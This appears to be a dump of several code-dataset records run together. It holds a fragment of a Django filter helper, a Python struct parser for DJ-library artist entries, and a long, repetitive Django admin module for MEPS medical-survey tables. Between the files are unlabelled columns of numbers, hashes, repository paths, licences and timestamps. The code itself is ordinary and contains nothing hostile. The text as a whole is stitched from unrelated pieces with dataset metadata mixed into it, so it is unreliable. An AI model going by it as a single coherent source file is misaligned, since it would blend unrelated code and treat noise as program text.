filter_class.Meta.fields = fields if extra_kwargs: filter_class.Meta.extra_kwargs = extra_kwargs return filter_class def get_simple_filter(fields): class Filter(filters.Filter): def __init__(self, *args, **kwargs): for name, field in fields.items(): self.fields[name] = field super(Filter, self).__init__(*args, **kwargs) return Filter
21.510638
72
0.673096
190
2,022
6.863158
0.310526
0.069018
0.141104
0.165644
0.236196
0
0
0
0
0
0
0.001309
0.244313
2,022
93
73
21.741935
0.852094
0.013848
0
0.266667
0
0
0.031642
0
0
0
0
0
0
1
0.05
false
0.016667
0.033333
0
0.516667
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
e9ba630a03f7018eb9960d6ffad7676a8bc220e1
601
py
Python
prodj/pdblib/artist.py
beauburrows/python-prodj-link
1cc6b6c19e38ac09fadb91420e45adbe2c9691bb
[ "Apache-2.0" ]
66
2018-01-16T09:25:30.000Z
2022-03-24T14:58:44.000Z
prodj/pdblib/artist.py
beauburrows/python-prodj-link
1cc6b6c19e38ac09fadb91420e45adbe2c9691bb
[ "Apache-2.0" ]
25
2018-05-16T12:17:11.000Z
2021-02-06T11:09:03.000Z
prodj/pdblib/artist.py
beauburrows/python-prodj-link
1cc6b6c19e38ac09fadb91420e45adbe2c9691bb
[ "Apache-2.0" ]
18
2018-03-15T13:54:40.000Z
2022-03-24T20:49:43.000Z
from construct import Struct, Int8ul, Int16ul, Int32ul, OneOf, IfThenElse, Tell, this from .piostring import OffsetPioString ARTIST_ENTRY_MAGIC = 0x60 LONG_ARTIST_ENTRY_MAGIC = 0x64 Artist = Struct( "entry_start" / Tell, "magic" / OneOf(Int16ul, [ARTIST_ENTRY_MAGIC, LONG_ARTIST_ENTRY_MAGIC]), "index_shift" / Int16ul, "id" / Int32ul, "unknown" / IfThenElse(this.magic == LONG_ARTIST_ENTRY_MAGIC, Int16ul, Int8ul), # always 0x03, maybe an unindexed empty string "name_idx" / IfThenElse(this.magic == LONG_ARTIST_ENTRY_MAGIC, Int16ul, Int8ul), "name" / OffsetPioString(this.name_idx) )
37.5625
128
0.758735
77
601
5.662338
0.428571
0.151376
0.220183
0.183486
0.295872
0.238532
0.238532
0.238532
0.238532
0
0
0.049904
0.133111
601
15
129
40.066667
0.786948
0.073211
0
0
0
0
0.086486
0
0
0
0.014414
0
0
1
0
false
0
0.153846
0
0.153846
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
e9bc05442df7027a9729c439791806f31437f32a
102,544
py
Python
meps_db/components/admin.py
explore-meps/meps_dev
cd98ff6b484799fc0f2f447b3945621bd013bee6
[ "MIT" ]
null
null
null
meps_db/components/admin.py
explore-meps/meps_dev
cd98ff6b484799fc0f2f447b3945621bd013bee6
[ "MIT" ]
null
null
null
meps_db/components/admin.py
explore-meps/meps_dev
cd98ff6b484799fc0f2f447b3945621bd013bee6
[ "MIT" ]
null
null
null
from django.contrib import admin from meps_db.components.models.dental_visits_models import ( DentalVisits18, DentalVisits17, DentalVisits16, DentalVisits15, DentalVisits14, DentalVisits13, DentalVisits12, DentalVisits11, DentalVisits10, DentalVisits09, DentalVisits08, DentalVisits07, DentalVisits06, DentalVisits05, ) from meps_db.components.models.emergency_room_visits_models import ( EmergencyRoomVisits18, EmergencyRoomVisits17, EmergencyRoomVisits16, EmergencyRoomVisits15, EmergencyRoomVisits14, EmergencyRoomVisits13, EmergencyRoomVisits12, EmergencyRoomVisits11, EmergencyRoomVisits10, EmergencyRoomVisits09, EmergencyRoomVisits08, EmergencyRoomVisits07, EmergencyRoomVisits06, EmergencyRoomVisits05, ) from meps_db.components.models.home_health_models import ( HomeHealth18, HomeHealth17, HomeHealth16, HomeHealth15, HomeHealth14, HomeHealth13, HomeHealth12, HomeHealth11, HomeHealth10, HomeHealth09, HomeHealth08, HomeHealth07, HomeHealth06, HomeHealth05, ) from meps_db.components.models.hospital_inpatient_stays_models import ( HospitalInpatientStays18, HospitalInpatientStays17, HospitalInpatientStays16, HospitalInpatientStays15, HospitalInpatientStays14, HospitalInpatientStays13, HospitalInpatientStays12, HospitalInpatientStays11, HospitalInpatientStays10, HospitalInpatientStays09, HospitalInpatientStays08, HospitalInpatientStays07, HospitalInpatientStays06, HospitalInpatientStays05, ) from meps_db.components.models.medical_conditions_models import ( MedicalConditions18, MedicalConditions17, MedicalConditions16, MedicalConditions15, MedicalConditions14, MedicalConditions13, MedicalConditions12, MedicalConditions11, MedicalConditions10, MedicalConditions09, MedicalConditions08, MedicalConditions07, MedicalConditions06, MedicalConditions05, ) from meps_db.components.models.office_based_visits_models import ( OfficeBasedVisits18, OfficeBasedVisits17, OfficeBasedVisits16, OfficeBasedVisits15, OfficeBasedVisits14, OfficeBasedVisits13, OfficeBasedVisits12, OfficeBasedVisits11, OfficeBasedVisits10, OfficeBasedVisits09, OfficeBasedVisits08, OfficeBasedVisits07, OfficeBasedVisits06, OfficeBasedVisits05, ) from meps_db.components.models.other_medical_expenses_models import ( OtherMedicalExpenses18, OtherMedicalExpenses17, OtherMedicalExpenses16, OtherMedicalExpenses15, OtherMedicalExpenses14, OtherMedicalExpenses13, OtherMedicalExpenses12, OtherMedicalExpenses11, OtherMedicalExpenses10, OtherMedicalExpenses09, OtherMedicalExpenses08, OtherMedicalExpenses07, OtherMedicalExpenses06, OtherMedicalExpenses05, ) from meps_db.components.models.outpatient_visits_models import ( OutpatientVisits18, OutpatientVisits17, OutpatientVisits16, OutpatientVisits15, OutpatientVisits14, OutpatientVisits13, OutpatientVisits12, OutpatientVisits11, OutpatientVisits10, OutpatientVisits09, OutpatientVisits08, OutpatientVisits07, OutpatientVisits06, OutpatientVisits05, ) from meps_db.components.models.population_characteristics_models import ( PopulationCharacteristics18, PopulationCharacteristics17, PopulationCharacteristics16, PopulationCharacteristics15, PopulationCharacteristics14, PopulationCharacteristics13, PopulationCharacteristics12, PopulationCharacteristics11, PopulationCharacteristics10, PopulationCharacteristics09, PopulationCharacteristics08, PopulationCharacteristics07, PopulationCharacteristics06, PopulationCharacteristics05, ) from meps_db.components.models.prescribed_medicines_models import ( PrescribedMedicines18, PrescribedMedicines17, PrescribedMedicines16, PrescribedMedicines15, PrescribedMedicines14, PrescribedMedicines13, PrescribedMedicines12, PrescribedMedicines11, PrescribedMedicines10, PrescribedMedicines09, PrescribedMedicines08, PrescribedMedicines07, PrescribedMedicines06, PrescribedMedicines05, ) class AdminPopulationCharacteristics18(admin.ModelAdmin): """ Admin settings for PopulationCharacteristics18 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PopulationCharacteristics18 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPopulationCharacteristics17(admin.ModelAdmin): """ Admin settings for PopulationCharacteristics17 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PopulationCharacteristics17 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPopulationCharacteristics16(admin.ModelAdmin): """ Admin settings for PopulationCharacteristics16 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PopulationCharacteristics16 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPopulationCharacteristics15(admin.ModelAdmin): """ Admin settings for PopulationCharacteristics15 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PopulationCharacteristics15 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPopulationCharacteristics14(admin.ModelAdmin): """ Admin settings for PopulationCharacteristics14 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PopulationCharacteristics14 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPopulationCharacteristics13(admin.ModelAdmin): """ Admin settings for PopulationCharacteristics13 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PopulationCharacteristics13 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPopulationCharacteristics12(admin.ModelAdmin): """ Admin settings for PopulationCharacteristics12 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PopulationCharacteristics12 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPopulationCharacteristics11(admin.ModelAdmin): """ Admin settings for PopulationCharacteristics11 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PopulationCharacteristics11 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPopulationCharacteristics10(admin.ModelAdmin): """ Admin settings for PopulationCharacteristics10 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PopulationCharacteristics10 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPopulationCharacteristics09(admin.ModelAdmin): """ Admin settings for PopulationCharacteristics09 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PopulationCharacteristics09 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPopulationCharacteristics08(admin.ModelAdmin): """ Admin settings for PopulationCharacteristics08 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PopulationCharacteristics08 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPopulationCharacteristics07(admin.ModelAdmin): """ Admin settings for PopulationCharacteristics07 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PopulationCharacteristics07 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPopulationCharacteristics06(admin.ModelAdmin): """ Admin settings for PopulationCharacteristics06 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PopulationCharacteristics06 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPopulationCharacteristics05(admin.ModelAdmin): """ Admin settings for PopulationCharacteristics05 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PopulationCharacteristics05 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminMedicalConditions18(admin.ModelAdmin): """ Admin settings for MedicalConditions18 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = MedicalConditions18 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminMedicalConditions17(admin.ModelAdmin): """ Admin settings for MedicalConditions17 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = MedicalConditions17 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminMedicalConditions16(admin.ModelAdmin): """ Admin settings for MedicalConditions16 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = MedicalConditions16 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminMedicalConditions15(admin.ModelAdmin): """ Admin settings for MedicalConditions15 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = MedicalConditions15 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminMedicalConditions14(admin.ModelAdmin): """ Admin settings for MedicalConditions14 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = MedicalConditions14 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminMedicalConditions13(admin.ModelAdmin): """ Admin settings for MedicalConditions13 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = MedicalConditions13 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminMedicalConditions12(admin.ModelAdmin): """ Admin settings for MedicalConditions12 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = MedicalConditions12 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminMedicalConditions11(admin.ModelAdmin): """ Admin settings for MedicalConditions11 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = MedicalConditions11 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminMedicalConditions10(admin.ModelAdmin): """ Admin settings for MedicalConditions10 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = MedicalConditions10 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminMedicalConditions09(admin.ModelAdmin): """ Admin settings for MedicalConditions09 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = MedicalConditions09 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminMedicalConditions08(admin.ModelAdmin): """ Admin settings for MedicalConditions08 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = MedicalConditions08 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminMedicalConditions07(admin.ModelAdmin): """ Admin settings for MedicalConditions07 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = MedicalConditions07 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminMedicalConditions06(admin.ModelAdmin): """ Admin settings for MedicalConditions06 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = MedicalConditions06 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminMedicalConditions05(admin.ModelAdmin): """ Admin settings for MedicalConditions05 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = MedicalConditions05 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPrescribedMedicines18(admin.ModelAdmin): """ Admin settings for PrescribedMedicines18 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PrescribedMedicines18 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPrescribedMedicines17(admin.ModelAdmin): """ Admin settings for PrescribedMedicines17 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PrescribedMedicines17 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPrescribedMedicines16(admin.ModelAdmin): """ Admin settings for PrescribedMedicines16 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PrescribedMedicines16 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPrescribedMedicines15(admin.ModelAdmin): """ Admin settings for PrescribedMedicines15 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PrescribedMedicines15 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPrescribedMedicines14(admin.ModelAdmin): """ Admin settings for PrescribedMedicines14 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PrescribedMedicines14 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPrescribedMedicines13(admin.ModelAdmin): """ Admin settings for PrescribedMedicines13 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PrescribedMedicines13 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPrescribedMedicines12(admin.ModelAdmin): """ Admin settings for PrescribedMedicines12 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PrescribedMedicines12 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPrescribedMedicines11(admin.ModelAdmin): """ Admin settings for PrescribedMedicines11 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PrescribedMedicines11 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPrescribedMedicines10(admin.ModelAdmin): """ Admin settings for PrescribedMedicines10 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PrescribedMedicines10 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPrescribedMedicines09(admin.ModelAdmin): """ Admin settings for PrescribedMedicines09 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PrescribedMedicines09 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPrescribedMedicines08(admin.ModelAdmin): """ Admin settings for PrescribedMedicines08 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PrescribedMedicines08 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPrescribedMedicines07(admin.ModelAdmin): """ Admin settings for PrescribedMedicines07 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PrescribedMedicines07 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPrescribedMedicines06(admin.ModelAdmin): """ Admin settings for PrescribedMedicines06 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PrescribedMedicines06 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminPrescribedMedicines05(admin.ModelAdmin): """ Admin settings for PrescribedMedicines05 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = PrescribedMedicines05 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminDentalVisits18(admin.ModelAdmin): """ Admin settings for DentalVisits18 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = DentalVisits18 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminDentalVisits17(admin.ModelAdmin): """ Admin settings for DentalVisits17 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = DentalVisits17 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminDentalVisits16(admin.ModelAdmin): """ Admin settings for DentalVisits16 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = DentalVisits16 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminDentalVisits15(admin.ModelAdmin): """ Admin settings for DentalVisits15 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = DentalVisits15 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminDentalVisits14(admin.ModelAdmin): """ Admin settings for DentalVisits14 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = DentalVisits14 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminDentalVisits13(admin.ModelAdmin): """ Admin settings for DentalVisits13 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = DentalVisits13 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminDentalVisits12(admin.ModelAdmin): """ Admin settings for DentalVisits12 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = DentalVisits12 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminDentalVisits11(admin.ModelAdmin): """ Admin settings for DentalVisits11 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = DentalVisits11 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminDentalVisits10(admin.ModelAdmin): """ Admin settings for DentalVisits10 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = DentalVisits10 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminDentalVisits09(admin.ModelAdmin): """ Admin settings for DentalVisits09 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = DentalVisits09 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminDentalVisits08(admin.ModelAdmin): """ Admin settings for DentalVisits08 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = DentalVisits08 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminDentalVisits07(admin.ModelAdmin): """ Admin settings for DentalVisits07 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = DentalVisits07 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminDentalVisits06(admin.ModelAdmin): """ Admin settings for DentalVisits06 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = DentalVisits06 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminDentalVisits05(admin.ModelAdmin): """ Admin settings for DentalVisits05 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = DentalVisits05 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOtherMedicalExpenses18(admin.ModelAdmin): """ Admin settings for OtherMedicalExpenses18 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OtherMedicalExpenses18 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOtherMedicalExpenses17(admin.ModelAdmin): """ Admin settings for OtherMedicalExpenses17 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OtherMedicalExpenses17 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOtherMedicalExpenses16(admin.ModelAdmin): """ Admin settings for OtherMedicalExpenses16 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OtherMedicalExpenses16 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminOtherMedicalExpenses15(admin.ModelAdmin): """ Admin settings for OtherMedicalExpenses15 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = OtherMedicalExpenses15 # Column names to display on table field_names = [field.name for field 